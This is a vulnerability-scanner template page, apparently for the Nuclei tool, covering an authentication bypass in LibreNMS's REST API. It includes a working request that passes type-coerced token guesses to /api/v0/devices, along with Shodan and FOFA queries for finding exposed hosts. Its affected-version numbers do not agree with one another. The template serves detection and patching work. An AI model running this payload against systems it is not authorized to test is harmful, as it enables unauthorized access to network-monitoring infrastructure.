LibreNMS <= 26.7.0 - Unauthenticated API Access
CVE-2026-86426
Early Release
Description
LibreNMS <= 26.8.0 contains an authentication bypass caused by MySQL type coercion in the REST API token validation, letting unauthenticated attackers access protected endpoints and execute remote code via alert templates.
Severity
Critical
CVSS Score
9.2
Affected Product
librenms
Published Date
September 9, 2026
Template Author
0x_akoko
CVE-2026-86426.yaml
id: CVE-2026-86426
info:
name: LibreNMS <= 26.7.0 - Unauthenticated API Access
author: 0x_Akoko
severity: critical
description: |
LibreNMS <= 26.8.0 contains an authentication bypass caused by MySQL type coercion in the REST API token validation, letting unauthenticated attackers access protected endpoints and execute remote code via alert templates.
impact: |
Unauthenticated attackers can access protected API endpoints and execute remote code, leading to full system compromise.
remediation: |
Update to version 26.8.0 or later.
reference:
- https://github.com/librenms/librenms/security/advisories/GHSA-cvq8-gqfq-3mvg
classification:
cvss-score: 9.2
cwe-id: CWE-287
metadata:
verified: true
max-request: 11
vendor: librenms
product: librenms
shodan-query: http.title:"LibreNMS"
fofa-query: title="LibreNMS"
tags: librenms,auth-bypass,type-confusion,api,unauth
flow: |
if (http(1)) {
var guesses = [[0], 1, 2, 3, 4, 5, 6, 7, 8, 9];
for (var i = 0; i < guesses.length; i++) {
set("guess", JSON.stringify(guesses[i]));
if (http(2)) break;
}
}
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(tolower(body), "librenms")'
condition: and
internal: true
- raw:
- |
GET /api/v0/devices HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"api_token":{{guess}}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains_all(body, "\"status\"", "\"ok\"", "\"devices\"")'
condition: and
# digest: 4a0a00473045022029c1fd64a3c709c8f706a0055b32bdb0ce8e61e4b09bb8debfb7d8edeac0a25e022100e84ed6a48b9c364ac97bc1406d038d005b496afa275bc3a69b24ef8108ec2176:922c64590222798bb761d5b6d8e729509.2Score
CVSS Metrics
CWE ID:
cwe-287
Remediation Steps
Update to version 26.8.0 or later.